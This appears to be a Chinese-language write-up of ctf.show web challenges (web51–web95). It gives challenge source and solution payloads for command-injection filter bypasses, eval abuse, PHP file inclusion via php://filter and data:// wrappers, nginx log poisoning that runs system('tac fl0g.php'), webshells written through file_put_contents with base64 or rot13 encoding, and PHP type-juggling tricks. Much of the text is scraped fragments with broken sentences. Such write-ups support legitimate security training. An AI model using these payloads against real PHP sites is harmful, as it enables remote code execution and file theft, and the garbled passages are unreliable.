32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, 字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。 如题目,php的if语句中,只要条件大于0即可执行语句,这里通过数组绕过 Array 数组 ¶ PHP 中的 array 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型针对多种不同用途进行了优化; 它可以被视为数组、列表(向量)、哈希表(映射的实现)、字典、集合、堆栈、队列等等。 由于 array 的值可以是其它 array 所以树形结构和多维 array 也是允许的。 注意: 可以用短数组语法 key 可以是 integer 或者 string。value 可以是任意类型。 此外 key 会有如下的强制转换: 如果在数组定义时多个元素都使用相同键名,那么只有最后一个会被使用,其它的元素都会被覆盖。 示例 #2 类型转换与覆盖的示例 以上例程会输出: 上例中所有的键名都被强制转换为 PHP 数组可以同时含有 int 和 string 类型的键名,因为PHP 实际并不区分索引数组和关联数组。 https://www.php.net/manual/zh/language.types.array.php 这个题目要利用intval的进制转换,4476转化为0x117c 即可绕过 这题一看要进行绕过正则表达式 字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false /m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。 但是当不是多行匹配模式的时候,出现换行符 payload如下: 和web90类似,但是不一样,这里的 判断值相等而不是类型相等 但是解法一致 这里多加了正则表达式的过滤,要绕过 这里的 不能直接使用上题目的解法了 转换为8进制试试 成功绕过,因为没有a-z的字母 我们还可以使用小数来绕过,例如4476.1 我们显然可以绕过第一个比较,又由于intval函数是取整数所以可以绕过第二个比较从而获得flag。 这里又多加了strpos函数 (PHP 4, PHP 5, PHP 7, PHP 8) strpos — 查找字符串首次出现的位置 说明1 strpos(string 返回 参数2 在该字符串中进行查找。 Prior to PHP 8.0.0, if 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。 返回值 ¶ 返回 needle 存在于 如果没找到 needle,将返回 这里传入的值必须包含0,不然会失败 使用小数试试 /?num=4476.1 不行,因为 改进 成功 与上题目相比,加了小数点 这里使用八进制绕过前面要加入+ ?num=+010574 http://c224b0f7-0baf-41f8-b7bc-f5dc89da7ee8.challenge.ctf.show/?num=+010574 http://4dc47996-03b1-450e-93a9-3344c00000fd.challenge.ctf.show/?u=./flag.php ./flag.php 不知道为啥不能用*等通配符 有点复杂 也就是满足上述的所有条件 一眼md5绕过 PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。 但是不行 想到了使用数组绕过 即可 参考文献 https://www.php.cn/php-notebook-172859.html 一眼一看啥玩意格式。 直接看题解 修改一下代码 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数 &的话你可以理解成C里面的指针,指向地址,那么就很简单,简单的来说就是 rand(1,$i)——随机生成1-877之间的数 //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1 //写入1.php文件 内容是 综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag 三层过滤 先验证v1,v2,v3的是否为数字,然后正则表达式过滤 PHP is_numeric() 函数 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。 关键看这一句 && > || > = > and > or =的运算符比and高 就是把 对于v0的值只需要看v1就可以v2,v3是干扰 v2必须不匹配; 也就是没有必须有 v3必须匹配; 也就是必须有 http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=1&v2=var_dump&v3=; 回显 要把ctfshow http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=222&v2=var_dump($ctfshow)&v3=; 年——CTF 除夕 2022.0绕过 来源地址:https://blog.csdn.net/weixin_54558860/article/details/127950826web51
web52
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
?php 2 3 13 14 15$flag="flag_here";
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
1 ctfshow{caf4c161-d5ec-4215-bb43-45f091d799a7}
web53
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){ echo($c); $d = system($c); echo "
".$d; }else{ echo 'no'; }}else{ highlight_file(__FILE__);} nl${IFS}fla?.php 1 15$flag="ctfshow{6ee3394a-7785-452f-b438-ce2b136d6eab}";
web54
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){ system($c); }}else{ highlight_file(__FILE__);}
flag.php index.php
web55
// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){ system($c); }}else{ highlight_file(__FILE__);}
web56
<?php// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){ system($c); }}else{ highlight_file(__FILE__);}
web57
// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}
http://1c78a6f5-a9a5-4452-b093-1074f6bbb077.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
${_}会输出上一次的执行结果
?php$flag="ctfshow{5d167e95-84d5-4334-adea-a80cf8b9d684}"
web58
// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}
Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
c=echo `ls`;
Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
c=show_source('flag.php');
<?php$flag="ctfshow{349ab621-1b2a-451e-a177-34f42de232a2}";
web59
// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}
c=echo file_get_contenets('flag.php');
Fatal error: Uncaught Error: Call to undefined function file_get_contenets() in /var/www/html/index.php(17) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(17): eval() #1 {main} thrown in /var/www/html/index.php(17) : eval()'d code on line 1
c=show_source('flag.php');
web60
// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}
c=show_source('flag.php');
web61
web62
web63
web64
web65
web66
$flag="秀秀得了,这次不在这里";
使用highlight_file之后
c=var_dump(scandir('.'));
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
web67
web68
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
c=include('/flag.txt');
web69
web70
web71
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24你要上天吗?
error_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}?>你要上天吗?
范例 ¶
<?php ob_start(); echo "Hello "; $out1 = ob_get_contents(); echo "World"; $out2 = ob_get_contents(); ob_end_clean(); var_dump($out1, $out2); ?>
string(6) "Hello "string(11) "Hello World"
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15ctfshow{90c8da50-b3d9-4045-bf2c-59e6156e0c15}
web72
**Warning**: include(/flag.txt): failed to open stream: No such file or directory in **/var/www/html/index.php(19) : eval()'d code** on line **1**
Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(19) : eval()'d code on line 1
c=?><?php$a=new DirectoryIterator("glob://if(isset($_GET['file'])){ $file = $_GET['file']; include($file);}else{ highlight_file(__FILE__);}
?file=php://filter/convert.base64-encode/resource=flag.php
web79
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file);}else{ highlight_file(__FILE__);}
data://协议
allow_url_fopen
,allow_url_include
同时开启才能使用,使用如下:file.php?file=data://text/plain,file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=file.php?file=data:text/plain,<?php phpinfo()?>file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
??? ???info()?>
system('cat flag.php') ?>
php
的检查web80
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file);}else{ highlight_file(__FILE__);}
172.12.0.6 - - [24/Dec/2022:10:50:58 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:52:36 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 168 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:52:45 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 418 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:54:04 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:54:12 +0000] "GET /?file=flag.??? HTTP/1.1" 200 333 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:56:59 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php index.php " 172.12.0.6 - - [24/Dec/2022:10:57:00 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php index.php " 172.12.0.6 - - [24/Dec/2022:10:57:01 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php index.php "
http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');
172.12.0.6 - - [24/Dec/2022:10:50:58 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:52:36 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 168 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:52:45 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 418 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:54:04 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:54:12 +0000] "GET /?file=flag.??? HTTP/1.1" 200 333 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:56:59 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.phpindex.php"172.12.0.6 - - [24/Dec/2022:10:57:00 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.phpindex.php"172.12.0.6 - - [24/Dec/2022:10:57:01 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.phpindex.php"172.12.0.6 - - [24/Dec/2022:10:57:14 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1619 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.phpindex.php"172.12.0.6 - - [24/Dec/2022:10:57:14 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:58:48 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 2075 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" ""172.12.0.6 - - [24/Dec/2022:10:58:48 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:10:59:01 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 2537 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file);}else{ highlight_file(__FILE__);}
:
http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system('cat fl0g.php');
172.12.0.6 - - [24/Dec/2022:11:04:40 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:11:04:40 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:11:06:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 399 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:11:06:40 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 648 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" ""172.12.0.6 - - [24/Dec/2022:11:07:02 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 848 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.phpindex.php"172.12.0.6 - - [24/Dec/2022:11:07:02 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"172.12.0.6 - - [24/Dec/2022:11:07:16 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1328 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "
web82-web86
web87
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "".$content);}else{ highlight_file(__FILE__);}
php
,data
,:
,.
等file_put_contents()
定义和用法
语法
file_put_contents(file,data,mode,context)
参数 描述 file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。 mode 可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX context 可选。规定文件句柄的环境。 context 是一套可以修改流的行为的选项。若使用 null,则忽略。 说明
返回值
实例
26
urldecode
实例
w3cschool你好
解题
.
被过滤和替换?file=
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30?file=php://filter/string.rot13/resource=2.php
content=
2=system('tac *');
$flag="ctfshow{d5083718-9ed3-476e-b9c0-0783b692cad5}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /
file
时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php
的字符,第二次解码是代码中的urldecode()
,这时候恢复成正常的写过滤器。如果只有一次编码,就不能绕过过滤了)。注意,hackbar没办法进行全编码,使用其他的在线工具就行了。
再看content
,如果正常传入php代码,则会因为前头die()
的原因直接退出,所以需要使用写过滤器去写入,可以时base64过滤器或者rot13,这样在写入file
文件时候自动解码,连带着前头的一起,就会破坏掉这句
die()
了。file
如下:/?file=php://filter/write=convert.base64-decode/resource=1.php//两次urlencode后/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content
的内容(但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组):content=<?php system('tac f*.php');?>//base64编码 content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
传入的file
如下:/?file=php://filter/write=string.rot13/resource=2.php//两次urlencode后/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
content
的内容如下(两次rot13后会变成原样):content=<?php system('tac f*.php');?>//rot13编码后:content=<?cuc flfgrz('gnp s*.cuc');?>
web88
if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file);}else{ highlight_file(__FILE__);}
+
,=
aaaa
PD9waHAgc3lzdGVtKCdscycpICAgICAgICAgICAgPz5hYWFh
a
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTthPz5h
web116
HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 24 Dec 2022 12:11:57 GMTContent-Type: video/mp4Connection: closeX-Powered-By: PHP/7.3.22Content-Length: 353<?phperror_reporting(0);//过滤function filter($x){ if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); }}$file=isset($_GET['file'])?$_GET['file']:"5.mp4";filter($file);//进入函数header('Content-Type: video/mp4');header("Content-Length: $file");readfile($file);//执行file?>
/http|https|data|input|rot13|base64|string|log|sess/i
/?file=flag.php
GET /?file=flag.php HTTP/1.1Host: 69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*highlight_file(__FILE__);error_reporting(0);function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); }}$file=$_GET['file'];$contents=$_POST['contents'];filter($file);file_put_contents($file, "".$contents);
die()
函数破坏掉,进而执行我们写入的木马。
convert.iconv.
:一种过滤器,和使用iconv()
函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str )
:将字符串$st
r从$in_charset
编码转换到$out_charset
这里引入usc-2
的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上$result = iconv("UCS-2LE","UCS-2BE", '');echo "经过一次反转:".$result."\n";echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);//输出结果如下://经过一次反转:?
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.phpcontents=?
php特性
web89
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }}
intavl
$value
, int $base
= 10): intvalue
base
base
是 0,通过检测 value
的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1(本题目的关键)。intval('1000000000000')
会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。echo intval(42); // 42echo intval(4.2); // 4echo intval('42'); // 42echo intval('+42'); // 42echo intval('-42'); // -42echo intval(042); // 34echo intval('042'); // 42echo intval(1e10); // 1410065408echo intval('1e10'); // 1echo intval(0x1A); // 26echo intval(42000000); // 42000000echo intval(420000000000000000000); // 0echo intval('420000000000000000000'); // 2147483647echo intval(42, 8); // 42echo intval('42', 8); // 34echo intval(array()); // 0echo intval(array('foo', 'bar')); // 1?>
http://7fcced56-de37-4290-b8e1-f24bad12efec.challenge.ctf.show/?num[]= array(‘a’)
拓展:php数组
[]
替代 array()
。$array = array( "foo" => "bar", "bar" => "foo",);// 使用短数组语法$array = [ "foo" => "bar", "bar" => "foo",];?>
+
号,否则将被转换为 int 类型。例如键名 "8"
实际会被储存为8
。另外, "08"
不会被强制转换,因为它不是一个有效的十进制整数。8.7
实际会被储存为 8
。true
实际会被储存为 1
而键名 false
会被储存为 0
。null
实际会被储存为 ""
。Illegal offset type
。 <?php$array = array( 1 => "a", "1" => "b", 1.5 => "c", true => "d", ); var_dump($array);?>
array(1) { [1]=> string(1) "d"}
1
,则每一个新单元都会覆盖前一个的值,最后剩下的只有一个 "d"
。web90
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){//严格比较相等 die("no no no!"); } if(intval($num,0)===4476){ echo $flag; //进入这一步骤 }else{ echo intval($num,0); }}
/?num=0x117c
web91
show_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ //进入 echo $flag; }}else{ echo 'nonononono';}
%0a
的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。?cmd=aaa%0aphp
web92
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }}
==
而不是===
由于PHP比较运算符 == 在进行比较的时候,会先将字符串类型转化成相同,再比较值是否相等,所以当我们输入如下payload时, n u m = = 4476 的比较结果由于字符串类型相同,但是值不一样,所以返回 f a l s e ,而 i n t v a l ( num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval( num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval(num,0)==4476的比较结果,由于base为0,会自动识别为16进制,比较的结果为true,从而获得flag。?num=0x117c
web93
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }}
/[a-z]/i
表示匹配集合的任意a-z的字符,且大小写不敏感/?num=010574
其他解法(来自互联网)
web94
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }}
strpos
$haystack
, string $needle
, int $offset
= 0): int|falseneedle
在 haystack
中首次出现的数字位置。haystack
needle
needle
is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle
should either be explicitly cast to string, or an explicit call to chr() should be performed.offset
haystack
字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。false
/?num=4476.10
web95
